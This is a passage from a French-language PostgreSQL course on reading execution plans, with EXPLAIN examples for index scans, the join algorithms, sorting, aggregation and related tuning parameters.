partie de l’index. Dans notre exemple avec de petites tables, le temps
reste correct mais il est moins bon :
EXPLAIN (COSTS OFF, ANALYZE,BUFFERS)
SELECT matricule, nom
FROM employes_big
WHERE matricule < 100000 ;
QUERY PLAN
---------------------------------------------------------
Index Scan using employes_big_pkey on employes_big (actual time=0.009..14.562 rows=99014 loops=1)
Index Cond: (matricule < 100000)
Buffers: shared hit=1199
Planning:
Buffers: shared hit=60
Planning Time: 0.181 ms
Execution Time: 18.170 ms
Noter le nombre de blocs lus beaucoup plus important.
Index couvrants :
Il existe des index dits « couvrants », destinés à favoriser des Index Only Scans. Ils peuvent contenir des données en plus des champs indexés, même avec un index unique comme ici.
Cet index contient aussi nom
et permet de revenir à de
très bonnes performances :
EXPLAIN (COSTS OFF, ANALYZE,BUFFERS)
SELECT matricule, nom
FROM employes_big
WHERE matricule < 100000 ;
QUERY PLAN
---------------------------------------------------------------------
Index Only Scan using employes_big_matricule_nom_idx on employes_big (actual time=0.010..5.769 rows=99014 loops=1)
Index Cond: (matricule < 100000)
Heap Fetches: 0
Buffers: shared hit=383
Planning:
Buffers: shared hit=1
Planning Time: 0.064 ms
Execution Time: 7.747 ms
L’expérience montre qu’un index classique multicolonne (sur
(matricule,nom)
) sera aussi efficace, voire plus, car il
peut être plus petit (la clause INCLUDE
inhibe la
déduplication). La clause INCLUDE
reste utile pour faire
d’une clé primaire, unique ou étrangère, un index couvrant et économiser
un peu de place disque.
Conditions pour obtenir un Index Only Scan :
Toutes les colonnes de la table utilisées par la requête doivent figurer dans l’index, aussi bien celles retournées que celles servant aux calculs ou au filtrage. En pratique, cela réserve l’Index Only Scan au cas où peu de colonnes de la table sont concernées par la requête.
Il est courant d’ajouter des index dédiés aux requêtes critiques n’utilisant que quelques colonnes. Mais plus le nombre de colonnes et la taille de l’index augmentent, moins PostgreSQL sera tenté par l’Index Only Scan.
Pour que l’Index Only Scan soit réellement efficace, il
faut que la table soit fréquemment traitée par des opérations
VACUUM
. En effet, les informations de visibilité des lignes
ne sont pas stockées dans l’index. Pour savoir si la ligne trouvée dans
l’index est visible ou pas par la session, il faut soit aller vérifier
dans la table (et on en revient à un Index Scan), soit aller
voir dans la visibility map de la table que le bloc ne contient
pas de lignes potentiellement mortes, ce qui est beaucoup plus rapide.
Le choix se fait à l’éxécution pour chaque ligne. Dans l’idéal, le plan
indique qu’il n’y a jamais eu à aller dans la table (heap)
ainsi :
S’il y a un trop grand nombre de Heap Fetches, l’Index
Only Scan perd tout son intérêt. Il peut suffire de rendre
l’autovacuum
beaucoup plus agressif sur la table.
Limite pour les index fonctionnels :
Le planificateur a du mal à définir un Index Only Scan pour un index fonctionnel. Il échoue par exemple ici :
CREATE INDEX employes_big_upper_idx ON employes_big (upper (nom)) ;
-- Créer les statistiques pour l'index fonctionnel
ANALYZE employes_big ;
EXPLAIN (COSTS OFF)
SELECT upper(nom) FROM employes_big WHERE upper(nom) = 'CRUCHOT' ;
QUERY PLAN
---------------------------------------------------------------------
Index Scan using employes_big_upper_idx on employes_big
Index Cond: (upper((nom)::text) = 'CRUCHOT'::text)
L’index fonctionnel est bien utilisé mais ce n’est pas un Index Only Scan.
Dans certains cas critiques, il peut être intéressant de créer une colonne générée reprenant la fonction et de créer un index dessus, qui permettra un Index Only Scan :
-- Attention : réécriture de la table
ALTER TABLE employes_big
ADD COLUMN nom_maj text GENERATED ALWAYS AS ( upper(nom) ) STORED ;
CREATE INDEX ON employes_big (nom_maj) ;
-- Créer les statistiques pour la nouvelle colonne
-- et éviter les Heap Fetches
VACUUM ANALYZE employes_big ;
EXPLAIN (COSTS OFF) SELECT nom_maj FROM employes_big WHERE nom_maj = 'CRUCHOT' ;
QUERY PLAN
---------------------------------------------------------------------
Index Only Scan using employes_big_nom_maj_idx on employes_big
Index Cond: (nom_maj = 'CRUCHOT'::text)
La nouvelle colonne générée est bien sûr maintenue automatiquement si
nom
change et n’est pas modifiable directement. Mais sa
création entraîne la réécriture de la table, qui d’ailleurs grossit un
peu, et il faut adapter le code.
Ce dernier parcours est particulièrement efficace pour des opérations de type Range Scan, c’est-à-dire où PostgreSQL doit retourner une plage de valeurs, ou pour combiner le résultat de la lecture de plusieurs index.
Contrairement à d’autres SGBD, un index bitmap de PostgreSQL n’a aucune existence sur disque : il est créé en mémoire lorsque son utilisation a un intérêt. Le but est de diminuer les déplacements de la tête de lecture en découplant le parcours de l’index du parcours de la table :
SET enable_indexscan TO off ;
EXPLAIN
SELECT * FROM employes_big WHERE matricule BETWEEN 200000 AND 300000;
QUERY PLAN
-----------------------------------------------------------------------
Bitmap Heap Scan on employes_big
(cost=2108.46..8259.35 rows=99126 width=41)
Recheck Cond: ((matricule >= 200000) AND (matricule <= 300000))
-> Bitmap Index Scan on employes_big_pkey*
(cost=0.00..2083.68 rows=99126 width=0)
Index Cond: ((matricule >= 200000) AND (matricule <= 300000))
Exemple de combinaison du résultat de la lecture de plusieurs index :
EXPLAIN
SELECT * FROM employes_big
WHERE matricule BETWEEN 1000 AND 100000
OR matricule BETWEEN 200000 AND 300000;
QUERY PLAN
-----------------------------------------------------------------------------
Bitmap Heap Scan on employes_big
(cost=4265.09..12902.67 rows=178904 width=41)
Recheck Cond: (((matricule >= 1000) AND (matricule <= 100000))
OR ((matricule >= 200000) AND (matricule <= 300000)))
-> BitmapOr (cost=4265.09..4265.09 rows=198679 width=0)
-> Bitmap Index Scan on employes_big_pkey
(cost=0.00..2091.95 rows=99553 width=0)
Index Cond: ((matricule >= 1000) AND (matricule <= 100000))
-> Bitmap Index Scan on employes_big_pkey
(cost=0.00..2083.68 rows=99126 width=0)
Index Cond: ((matricule >= 200000) AND (matricule <= 300000))
random_page_cost
(4 ou moins ?)cpu_index_tuple_cost
effective_cache_size
(⅔ de la RAM ?)effective_io_concurrency
maintenance_io_concurrency
min_parallel_index_scan_size
enable_indexscan
, enable_indexonlyscan
,
enable_bitmapscan
Index Scan :
L’Index Scan n’a d’intérêt que s’il y a très peu de lignes à récupérer, surtout si les disques sont mécaniques. Il faut donc que le filtre soit très sélectif.
Le rapport entre les paramètres seq_page_cost
et
random_page_cost
est d’importance majeure dans le choix
face à un Seq Scan. Plus il est proche de 1, plus les parcours
d’index seront favorisés par rapport aux parcours de table.
Index Only Scan :
Il n’y a pas de paramètre dédié à ce parcours. S’il est possible, l’optimiseur le préfère à un Index Scan.
Bitmap Index Scan :
effective_io_concurrency
a pour but d’indiquer le nombre
d’opérations disques possibles en même temps pour un client
(prefetch). Seuls les parcours Bitmap Scan sont
impactés par ce paramètre. Selon la documentation,
pour un système disque utilisant un RAID matériel, il faut le configurer
en fonction du nombre de disques utiles dans le RAID (n s’il s’agit d’un
RAID 1, n-1 s’il s’agit d’un RAID 5 ou 6, n/2 s’il s’agit d’un RAID 10).
Avec du SSD, il est possible de monter à plusieurs centaines, étant
donné la rapidité de ce type de disque. Ces valeurs doivent être
réduites sur un système très chargé. Une valeur excessive mène au
gaspillage de CPU. Le défaut deffective_io_concurrency
est
seulement de 1, et la valeur maximale est 1000.
(Avant la version 13, le principe était le même, mais la valeur exacte de ce paramètre devait être 2 à 5 fois plus basse comme le précise la formule des notes de version de la version 13.)
Le paramètre maintenance_io_concurrency
a le même but
que effective_io_concurrency
, mais pour les opérations de
maintenance, non les requêtes. Celles-ci peuvent ainsi se voir accorder
plus de ressources qu’une simple requête. Sa valeur par défaut est de
10, et il faut penser à le monter aussi si on adapte
effective_io_concurrency
.
Enfin, le paramètre effective_cache_size
indique à
PostgreSQL une estimation de la taille du cache disque du système (total
du shared buffers et du cache du système). Une bonne pratique
est de positionner ce paramètre à ⅔ de la quantité totale de RAM du
serveur. Sur un système Linux, il est possible de donner une estimation
plus précise en s’appuyant sur la valeur de colonne cached
de la commande free
. Mais si le cache n’est que peu
utilisé, la valeur trouvée peut être trop basse pour pleinement
favoriser l’utilisation des Bitmap Index Scan.
Parallélisation
Il est possible de paralléliser les parcours d’index. Cela donne donc
les nœuds Parallel Index Scan, Parallel Index Only
Scan et Parallel Bitmap Heap Scan. Cette infrastructure
est actuellement uniquement utilisée pour les index B-Tree. Par contre,
pour le Bitmap Scan, seul le parcours de la table est
parallélisé. Un parcours parallélisé d’un index n’est considéré qu’à
partir du moment où l’index a une taille supérieure à la valeur du
paramètre min_parallel_index_scan_size
(512 ko par
défaut).
On retrouve le nœud Function Scan lorsqu’une requête utilise directement le résultat d’une fonction, comme par exemple, dans des fonctions d’informations système de PostgreSQL :
QUERY PLAN
-----------------------------------------------------------------------
Function Scan on pg_get_keywords (cost=0.03..4.03 rows=400 width=65)
Il existe d’autres types de parcours, rarement rencontrés. Ils sont néanmoins détaillés en annexe.
EXISTS
, IN
et certaines jointures
externes
work_mem
( et hash_mem_multiplier
)seq_page_cost
& random_page_cost
.enable_nestloop
, enable_hashjoin
,
enable_mergejoin
Le choix du type de jointure dépend non seulement des données mises
en œuvre, mais elle dépend également beaucoup du paramétrage de
PostgreSQL, notamment des paramètres work_mem
,
hash_mem_multiplier
, seq_page_cost
et
random_page_cost
.
Nested Loop :
La Nested Loop se retrouve principalement dans les jointures
de petits ensembles de données. Dans l’exemple suivant, le critère sur
services
ramène très peu de lignes, il ne coûte pas
grand-chose d’aller piocher à chaque fois dans l’index de
employes_big
.
EXPLAIN SELECT matricule, nom, prenom, nom_service, fonction, localisation
FROM employes_big emp
JOIN services ser ON (emp.num_service = ser.num_service)
WHERE ser.localisation = 'Nantes';
QUERY PLAN
--------------------------------------------------------------------
Nested Loop (cost=0.42..10053.94 rows=124754 width=46)
-> Seq Scan on services ser (cost=0.00..1.05 rows=1 width=21)
Filter: ((localisation)::text = 'Nantes'::text)
-> Index Scan using employes_big_num_service_idx on employes_big emp
(cost=0.42..7557.81 rows=249508 width=33)
Index Cond: (num_service = ser.num_service)
Hash Join :
Le Hash Join se retrouve lorsque l’ensemble de la table interne est petit. L’optimiseur construit alors une table de hachage avec les valeurs de la ou les colonne(s) de jointure de la table interne. Il réalise ensuite un parcours de la table externe, et, pour chaque ligne de celle-ci, recherche des lignes correspondantes dans la table de hachage, toujours en utilisant la ou les colonne(s) de jointure comme clé
EXPLAIN SELECT matricule, nom, prenom, nom_service, fonction, localisation
FROM employes_big emp
JOIN services ser ON (emp.num_service = ser.num_service);
QUERY PLAN
-------------------------------------------------------------------------------
Hash Join (cost=0.19..8154.54 rows=499015 width=45)
Hash Cond: (emp.num_service = ser.num_service)
-> Seq Scan on employes_big emp (cost=0.00..5456.55 rows=499015 width=32)
-> Hash (cost=0.14..0.14 rows=4 width=21)
-> Seq Scan on services ser (cost=0.00..0.14 rows=4 width=21)
Cette opération réclame de la mémoire de tri, visible avec
EXPLAIN (ANALYZE)
(dans le pire des cas, ce sera un fichier
temporaire).
Merge Join :
La jointure par tri-fusion, ou Merge Join, prend deux ensembles de données triés en entrée et restitue l’ensemble de données après jointure. Cette jointure est assez lourde à initialiser si PostgreSQL ne peut pas utiliser d’index, mais elle a l’avantage de retourner les données triées directement :
EXPLAIN
SELECT matricule, nom, prenom, nom_service, fonction, localisation
FROM employes_big emp
JOIN services_big ser ON (emp.num_service = ser.num_service)
ORDER BY ser.num_service;
QUERY PLAN
-------------------------------------------------------------------------
Merge Join (cost=0.82..20094.77 rows=499015 width=49)
Merge Cond: (emp.num_service = ser.num_service)
-> Index Scan using employes_big_num_service_idx on employes_big emp
(cost=0.42..13856.65 rows=499015 width=33)
-> Index Scan using services_big_pkey on services_big ser
(cost=0.29..1337.35 rows=40004 width=20)
Il s’agit d’un algorithme de jointure particulièrement efficace pour traiter les volumes de données importants, surtout si les données sont pré-triées grâce à l’existence d’un index.
Hash Anti/Semi Join :
Les clauses EXISTS
et NOT EXISTS
mettent
également en œuvre des algorithmes dérivés de semi et anti-jointures. En
voici un exemple avec la clause EXISTS
:
EXPLAIN
SELECT *
FROM services s
WHERE EXISTS (SELECT 1
FROM employes_big e
WHERE e.date_embauche>s.date_creation
AND s.num_service = e.num_service) ;
QUERY PLAN
-----------------------------------------------------------------
Hash Semi Join (cost=17841.84..19794.91 rows=1 width=25)
Hash Cond: (s.num_service = e.num_service)
Join Filter: (e.date_embauche > s.date_creation)
-> Seq Scan on services s (cost=0.00..1.04 rows=4 width=25)
-> Hash (cost=9654.15..9654.15 rows=499015 width=8)
-> Seq Scan on employes_big e
(cost=0.00..9654.15 rows=499015 width=8)
Un plan sensiblement identique s’obtient avec
NOT EXISTS
. Le nœud Hash Semi Join est remplacé
par Hash Anti Join :
EXPLAIN
SELECT *
FROM services s
WHERE NOT EXISTS (SELECT 1
FROM employes_big e
WHERE e.date_embauche>s.date_creation
AND s.num_service = e.num_service);
QUERY PLAN
-----------------------------------------------------------------
Hash Anti Join (cost=17841.84..19794.93 rows=3 width=25)
Hash Cond: (s.num_service = e.num_service)
Join Filter: (e.date_embauche > s.date_creation)
-> Seq Scan on services s (cost=0.00..1.04 rows=4 width=25)
-> Hash (cost=9654.15..9654.15 rows=499015 width=8)
-> Seq Scan on employes_big e
(cost=0.00..9654.15 rows=499015 width=8)
Hash Join parallélisé :
Ces nœuds sont parallélisables. Pour les Parallel Hash Join, la table hachée est même commune pour les différents workers , et le calcul de celle-ci est réparti sur ceux-ci. Par contraste, pour les nœuds Merge Join, Nested Loop et Hash Join (non complètement parallélisé), seul le parcours de la table externe peut être parallélisé, tandis que la table interne est parcourue (voire hachée) entièrement par chaque worker.
Exemple (testé en version 16.1) :
CREATE TABLE foo(id serial, a int);
CREATE TABLE bar(id serial, foo_a int, b int);
INSERT INTO foo(a) SELECT i*2 FROM generate_series(1,1000000) i;
INSERT INTO bar(foo_a, b) SELECT i*2, i%7 FROM generate_series(1,100) i;
VACUUM ANALYZE foo, bar;
EXPLAIN (ANALYZE, VERBOSE, COSTS OFF)
SELECT foo.a, bar.b FROM foo JOIN bar ON (foo.a = bar.foo_a) WHERE a % 3 = 0;
QUERY PLAN
-----------------------------------------------------------------------------------
Gather (actual time=0.192..21.305 rows=33 loops=1)
Output: foo.a, bar.b
Workers Planned: 2
Workers Launched: 2
-> Hash Join (actual time=10.757..16.903 rows=11 loops=3)
Output: foo.a, bar.b
Hash Cond: (foo.a = bar.foo_a)
Worker 0: actual time=16.118..16.120 rows=0 loops=1
Worker 1: actual time=16.132..16.134 rows=0 loops=1
-> Parallel Seq Scan on public.foo (actual time=0.009..12.961 rows=111111 loops=3)
Output: foo.id, foo.a
Filter: ((foo.a % 3) = 0)
Rows Removed by Filter: 222222
Worker 0: actual time=0.011..12.373 rows=102953 loops=1
Worker 1: actual time=0.011..12.440 rows=102152 loops=1
-> Hash (actual time=0.022..0.023 rows=100 loops=3)
Output: bar.b, bar.foo_a
Buckets: 1024 Batches: 1 Memory Usage: 12kB
Worker 0: actual time=0.027..0.027 rows=100 loops=1
Worker 1: actual time=0.026..0.026 rows=100 loops=1
-> Seq Scan on public.bar (actual time=0.008..0.013 rows=100 loops=3)
Output: bar.b, bar.foo_a
Worker 0: actual time=0.012..0.017 rows=100 loops=1
Worker 1: actual time=0.011..0.016 rows=100 loops=1
Planning Time: 0.116 ms
Execution Time: 21.321 ms
Dans ce plan, la table externe foo
est lue de manière
parallélisée, les trois processus se partageant son contenu. Chacun a sa
version de la toute petite table interne bar
, qui est
hachée trois fois (les deux workers et le processus principal
lisent les 100 lignes).
Si bar
est beaucoup plus grosse que foo
, le
plan bascule sur un Parallel Hash Join dont bar
est cette fois la table externe :
INSERT INTO bar(foo_a, b) SELECT i*2, i%7 FROM generate_series(1,300000) i;
VACUUM ANALYZE bar;
EXPLAIN (ANALYZE, VERBOSE, COSTS OFF)
SELECT foo.a, bar.b FROM foo JOIN bar ON (foo.a = bar.foo_a) WHERE a % 3 = 0;
QUERY PLAN
-----------------------------------------------------------------------------------
Gather (actual time=69.490..95.741 rows=100033 loops=1)
Output: foo.a, bar.b
Workers Planned: 1
Workers Launched: 1
-> Parallel Hash Join (actual time=66.408..84.866 rows=50016 loops=2)
Output: foo.a, bar.b
Hash Cond: (bar.foo_a = foo.a)
Worker 0: actual time=63.450..83.008 rows=52081 loops=1
-> Parallel Seq Scan on public.bar (actual time=0.002..5.332 rows=150050 loops=2)
Output: bar.id, bar.foo_a, bar.b
Worker 0: actual time=0.002..5.448 rows=148400 loops=1
-> Parallel Hash (actual time=49.467..49.468 rows=166666 loops=2)
Output: foo.a
Buckets: 262144 (originally 8192) Batches: 4 (originally 1) Memory Usage: 5344kB
Worker 0: actual time=48.381..48.382 rows=158431 loops=1
-> Parallel Seq Scan on public.foo (actual time=0.007..21.265 rows=166666 loops=2)
Output: foo.a
Filter: ((foo.a % 3) = 0)
Rows Removed by Filter: 333334
Worker 0: actual time=0.009..20.909 rows=158431 loops=1
Planning Time: 0.083 ms
Execution Time: 97.567 ms
Le Hash de foo
se fait par deux processus qui
ne traitent cette fois que la moitié du million de lignes, en en
filtrant les ⅔ (la dernière ligne indique quasiment le tiers de
500 000). Le coût de démarrage de ce hash parallélisé est
cependant assez lourd (la jointure ne commence qu’après 66 ms). Pour la
même requête, PostgreSQL 10, qui ne connaît pas le Parallel Hash
Join, procédait à un Hash Join classique et prenait 50 %
plus longtemps. Précisons encore qu’augmenter work_mem
ne
change pas le plan, mais permet cas d’accélérer un peu les hachages
(réduction du nombre de batches).
enable_hashagg
work_mem
& hash_mem_multiplier
Pour réaliser un tri, PostgreSQL dispose de deux nœuds :
Sort et Incremental Sort. Leur efficacité va dépendre
du paramètre work_mem
qui va définir la quantité de mémoire
que PostgreSQL pourra utiliser pour un tri.
Sort :
QUERY PLAN
----------------------------------------------------------------
Sort (cost=1.41..1.44 rows=14 width=43)
(actual time=0.013..0.014 rows=14 loops=1)
Sort Key: fonction
Sort Method: quicksort Memory: 26kB
-> Seq Scan on employes (cost=0.00..1.14 rows=14 width=43)
(actual time=0.003..0.004 rows=14 loops=1)
Planning time: 0.021 ms
Execution time: 0.021 ms
Si le tri ne tient pas en mémoire, l’algorithme de tri gère automatiquement le débordement sur disque (26 Mo ici) :
QUERY PLAN
---------------------------------------------------------------------------
Sort (cost=70529.24..71776.77 rows=499015 width=40)
(actual time=252.827..298.948 rows=499015 loops=1)
Sort Key: fonction
Sort Method: external sort Disk: 26368kB
-> Seq Scan on employes_big (cost=0.00..9654.15 rows=499015 width=40)
(actual time=0.003..29.012 rows=499015 loops=1)
Planning time: 0.021 ms
Execution time: 319.283 ms
Cependant, un tri est coûteux. Donc si un index existe sur le champ de tri, PostgreSQL aura tendance à l’utiliser. Les données sont déjà triées dans l’index, il suffit de le parcourir pour lire les lignes dans l’ordre :
QUERY PLAN
----------------------------------------------
Index Scan using employes_pkey on employes
(cost=0.42..17636.65 rows=499015 width=41)
Et ce, dans n’importe quel ordre de tri :
QUERY PLAN
-----------------------------------------------------
Index Scan Backward using employes_pkey on employes
(cost=0.42..17636.65 rows=499015 width=41)
Le choix du type d’opération de regroupement dépend non seulement des
données mises en œuvres, mais elle dépend également beaucoup du
paramétrage de PostgreSQL, notamment du paramètre
work_mem
.
Comme vu précédemment, PostgreSQL sait utiliser un index pour trier les données. Cependant, dans certains cas, il ne sait pas utiliser l’index alors qu’il pourrait le faire. Prenons un exemple.
Voici un jeu de données contenant une table à trois colonnes, et un index sur une colonne :
DROP TABLE IF exists t1;
CREATE TABLE t1 (c1 integer, c2 integer, c3 integer);
INSERT INTO t1 SELECT i, i+1, i+2 FROM generate_series(1, 10000000) AS i;
CREATE INDEX t1_c2_idx ON t1(c2);
VACUUM ANALYZE t1;
PostgreSQL sait utiliser l’index pour trier les données. Par exemple,
voici le plan d’exécution pour un tri sur la colonne c2
(colonne indexée au niveau de l’index t1_c2_idx
) :
QUERY PLAN
---------------------------------------------------------------------------------
Index Scan using t1_c2_idx on t1 (cost=0.43..313749.06 rows=10000175 width=12)
(actual time=0.016..1271.115 rows=10000000 loops=1)
Buffers: shared hit=81380
Planning Time: 0.173 ms
Execution Time: 1611.868 ms
Par contre, si on essaie de trier par rapport aux colonnes
c2
et c3
, les versions 12 et antérieures ne
savent pas utiliser l’index, comme le montre ce plan d’exécution :
QUERY PLAN
-------------------------------------------------------------------------------
Gather Merge (cost=697287.64..1669594.86 rows=8333480 width=12)
(actual time=1331.307..3262.511 rows=10000000 loops=1)
Workers Planned: 2
Workers Launched: 2
Buffers: shared hit=54149, temp read=55068 written=55246
-> Sort (cost=696287.62..706704.47 rows=4166740 width=12)
(actual time=1326.112..1766.809 rows=3333333 loops=3)
Sort Key: c2, c3
Sort Method: external merge Disk: 61888kB
Worker 0: Sort Method: external merge Disk: 61392kB
Worker 1: Sort Method: external merge Disk: 92168kB
Buffers: shared hit=54149, temp read=55068 written=55246
-> Parallel Seq Scan on t1 (cost=0.00..95722.40 rows=4166740 width=12)
(actual time=0.015..337.901 rows=3333333 loops=3)
Buffers: shared hit=54055
Planning Time: 0.068 ms
Execution Time: 3716.541 ms
Comme PostgreSQL ne sait pas utiliser un index pour réaliser ce tri, il passe par un parcours de table (parallélisé dans le cas présent), puis effectue le tri, ce qui prend beaucoup de temps, encore plus s’il faut déborder sur disque. La durée d’exécution a plus que doublé.
Incremental Sort :
La version 13 est beaucoup plus maline à cet égard. Elle est capable
d’utiliser l’index pour faire un premier tri des données (sur la colonne
c2
d’après notre exemple), puis elle trie les données du
résultat par rapport à la colonne c3
:
QUERY PLAN
-------------------------------------------------------------------------------
Incremental Sort (cost=0.48..763746.44 rows=10000000 width=12)
(actual time=0.082..2427.099 rows=10000000 loops=1)
Sort Key: c2, c3
Presorted Key: c2
Full-sort Groups: 312500 Sort Method: quicksort Average Memory: 26kB Peak Memory: 26kB
Buffers: shared hit=81387
-> Index Scan using t1_c2_idx on t1 (cost=0.43..313746.43 rows=10000000 width=12)
(actual time=0.007..1263.517 rows=10000000 loops=1)
Buffers: shared hit=81380
Planning Time: 0.059 ms
Execution Time: 2766.530 ms
La requête en version 12 prenait 3,7 secondes. La version 13 n’en
prend que 2,7 secondes. On remarque un nouveau type de nœud, le
Incremental Sort, qui s’occupe de re-trier les données après un
renvoi de données triées, grâce au parcours d’index. Le plan distingue
bien la clé déjà triée (c2
) et celles à trier
(c2, c3
).
L’apport en performance est déjà très intéressant, mais il devient
remarquable si on utilise une clause LIMIT
. Voici le
résultat en version 12 :
QUERY PLAN
-------------------------------------------------------------------------------
Limit (cost=186764.17..186765.34 rows=10 width=12)
(actual time=718.576..724.791 rows=10 loops=1)
Buffers: shared hit=54149
-> Gather Merge (cost=186764.17..1159071.39 rows=8333480 width=12)
(actual time=718.575..724.788 rows=10 loops=1)
Workers Planned: 2
Workers Launched: 2
Buffers: shared hit=54149
-> Sort (cost=185764.15..196181.00 rows=4166740 width=12)
(actual time=716.606..716.608 rows=10 loops=3)
Sort Key: c2, c3
Sort Method: top-N heapsort Memory: 25kB
Worker 0: Sort Method: top-N heapsort Memory: 25kB
Worker 1: Sort Method: top-N heapsort Memory: 25kB
Buffers: shared hit=54149
-> Parallel Seq Scan on t1 (cost=0.00..95722.40 rows=4166740 width=12)
(actual time=0.010..347.085 rows=3333333 loops=3)
Buffers: shared hit=54055
Planning Time: 0.044 ms
Execution Time: 724.818 ms
Et celui en version 13 :
QUERY PLAN
-------------------------------------------------------------------------------
Limit (cost=0.48..1.24 rows=10 width=12) (actual time=0.027..0.029 rows=10 loops=1)
Buffers: shared hit=4
-> Incremental Sort (cost=0.48..763746.44 rows=10000000 width=12)
(actual time=0.027..0.027 rows=10 loops=1)
Sort Key: c2, c3
Presorted Key: c2
Full-sort Groups: 1 Sort Method: quicksort Average Memory: 25kB Peak Memory: 25kB
Buffers: shared hit=4
-> Index Scan using t1_c2_idx on t1 (cost=0.43..313746.43 rows=10000000 width=12)
(actual time=0.012..0.014 rows=11 loops=1)
Buffers: shared hit=4
Planning Time: 0.052 ms
Execution Time: 0.038 ms
La requête passe donc de 724 ms à 0,029 ms.
En version 16, l’Incremental Sort peut aussi servir à
accélérer les DISTINCT
:
QUERY PLAN
---------------------------------------------------------------
Unique (actual time=39.208..2479.229 rows=10000000 loops=1)
Buffers: shared read=81380
-> Incremental Sort (actual time=39.206..1841.165 rows=10000000 loops=1)
Sort Key: c2, c1, c3
Presorted Key: c2
Full-sort Groups: 312500 Sort Method: quicksort Average Memory: 26kB Peak Memory: 26kB
Buffers: shared read=81380
-> Index Scan using t1_c2_idx on t1 (actual time=39.182..949.921 rows=10000000 loops=1)
Buffers: shared read=81380
Planning:
Buffers: shared read=3
Planning Time: 0.274 ms
Execution Time: 2679.447 ms
Cela devrait accélérer de nombreuses requêtes qui possèdent
abusivement une clause DISTINCT
ajoutée par un ETL, si le
premier champ du DISTINCT
est par chance indexé, comme
ici :
QUERY PLAN
---------------------------------------------------------------
Unique
-> Incremental Sort
Sort Key: date_commande, numero_commande, client_id, mode_expedition, commentaire
Presorted Key: date_commande
-> Index Scan using commandes_date_commande_idx on commandes
Aggregate :
Concernant les opérations d’agrégations, on retrouve un nœud de type Aggregate lorsque la requête réalise une opération d’agrégation simple, sans regroupement :
QUERY PLAN
---------------------------------------------------------------
Aggregate (cost=1.18..1.19 rows=1 width=8)
-> Seq Scan on employes (cost=0.00..1.14 rows=14 width=0)
Hash Aggregate :
Si l’optimiseur estime que l’opération d’agrégation tient en mémoire
(paramètre work_mem
), il va utiliser un nœud de type
HashAggregate :
QUERY PLAN
----------------------------------------------------------------
HashAggregate (cost=1.21..1.27 rows=6 width=20)
Group Key: fonction
-> Seq Scan on employes (cost=0.00..1.14 rows=14 width=12)
Avant la version 13, l’inconvénient de ce nœud était que sa
consommation mémoire n’était pas limitée par work_mem
, il
continuait malgré tout à allouer de la mémoire. Dans certains cas,
heureusement très rares, l’optimiseur pouvait se tromper suffisamment
pour qu’un nœud HashAggregate consomme plusieurs gigaoctets de
mémoire et sature ainsi la mémoire du serveur. La version 13 corrige
cela en utilisant le disque à partir du moment où la mémoire nécessaire
dépasse la multiplication de la valeur du paramètre
work_mem
et celle du paramètre
hash_mem_multiplier
(2 par défaut à partir de la version
15, 1 auparavant). La requête sera plus lente, mais la mémoire ne sera
pas saturée.
Group Aggregate :
Lorsque l’optimiseur estime que le volume de données à traiter ne
tient pas dans work_mem
ou quand il peut accéder aux
données pré-triées, il utilise plutôt l’algorithme
GroupAggregate :
QUERY PLAN
---------------------------------------------------------------
GroupAggregate (cost=0.42..20454.87 rows=499015 width=12)
Group Key: matricule
Planned Partitions: 16
-> Index Only Scan using employes_big_pkey on employes_big
(cost=0.42..12969.65 rows=499015 width=4)
Mixed Aggregate :
Le Mixed Aggregate est très efficace pour les clauses
GROUP BY GROUPING SETS
ou GROUP BY CUBE
grâce
à l’utilisation de hashs :
EXPLAIN (ANALYZE,BUFFERS)
SELECT manager, fonction, num_service, COUNT(*)
FROM employes_big
GROUP BY CUBE(manager,fonction,num_service) ;
QUERY PLAN
---------------------------------------------------------------
MixedAggregate (cost=0.00..34605.17 rows=27 width=27)
(actual time=581.562..581.573 rows=51 loops=1)
Hash Key: manager, fonction, num_service
Hash Key: manager, fonction
Hash Key: manager
Hash Key: fonction, num_service
Hash Key: fonction
Hash Key: num_service, manager
Hash Key: num_service
Group Key: ()
Batches: 1 Memory Usage: 96kB
Buffers: shared hit=4664
-> Seq Scan on employes_big (cost=0.00..9654.15 rows=499015 width=19)
(actual time=0.015..35.840 rows=499015 loops=1)
Buffers: shared hit=4664
Planning time: 0.223 ms
Execution time: 581.671 ms
(Comparer avec le plan et le temps obtenus auparavant, que l’on peut
retrouver avec SET enable_hashagg TO off;
).
Le calcul d’un agrégat peut être parallélisé. Dans ce cas, deux nœuds sont utilisés : un pour le calcul partiel de chaque processus (Partial Aggregate), et un pour le calcul final (Finalize Aggregate). Voici un exemple de plan :
EXPLAIN (ANALYZE,COSTS OFF)
SELECT date_embauche, count(*), min(date_embauche), max(date_embauche)
FROM employes_big
GROUP BY date_embauche;
QUERY PLAN
-------------------------------------------------------------------------
Finalize GroupAggregate (actual time=92.736..92.740 rows=7 loops=1)
Group Key: date_embauche
-> Sort (actual time=92.732..92.732 rows=9 loops=1)
Sort Key: date_embauche
Sort Method: quicksort Memory: 25kB
-> Gather (actual time=92.664..92.673 rows=9 loops=1)
Workers Planned: 2
Workers Launched: 2
-> Partial HashAggregate
(actual time=89.531..89.532 rows=3 loops=3)
Group Key: date_embauche
-> Parallel Seq Scan on employes_big
(actual time=0.011..35.801 rows=166338 loops=3)
Planning time: 0.127 ms
Execution time: 95.601 ms
DISTINCT
)UNION ALL
), Except,
IntersectLimit :
On rencontre le nœud Limit
lorsqu’on limite le résultat
avec l’ordre LIMIT
:
QUERY PLAN
---------------------------------------------------------------------------
Limit (cost=0.00..0.02 rows=1 width=40)
-> Seq Scan on employes_big (cost=0.00..9654.15 rows=499015 width=40)
Le nœud Sort utilisera dans ce cas une méthode de tri appelée top-N heapsort qui permet d’optimiser le tri pour retourner les n premières lignes :
QUERY PLAN
-------------------------------------------------------------
Limit (cost=17942.61..17942.62 rows=5 width=40)
(actual time=80.359..80.360 rows=5 loops=1)
-> Sort (cost=17942.61..19190.15 rows=499015 width=40)
(actual time=80.358..80.359 rows=5 loops=1)
Sort Key: fonction
Sort Method: top-N heapsort Memory: 25kB
-> Seq Scan on employes_big
(cost=0.00..9654.15 rows=499015 width=40)
(actual time=0.005..27.506 rows=499015 loops=1)
Planning time: 0.035 ms
Execution time: 80.375 ms
Unique :
On retrouve le nœud Unique lorsque l’on utilise
DISTINCT
pour dédoublonner le résultat d’une requête :
QUERY PLAN
---------------------------------------------------------------
Unique (cost=0.42..14217.19 rows=499015 width=4)
-> Index Only Scan using employes_big_pkey on employes_big
(cost=0.42..12969.65 rows=499015 width=4)
On le verra plus loin, il est souvent plus efficace d’utiliser
GROUP BY
pour dédoublonner les résultats d’une requête.
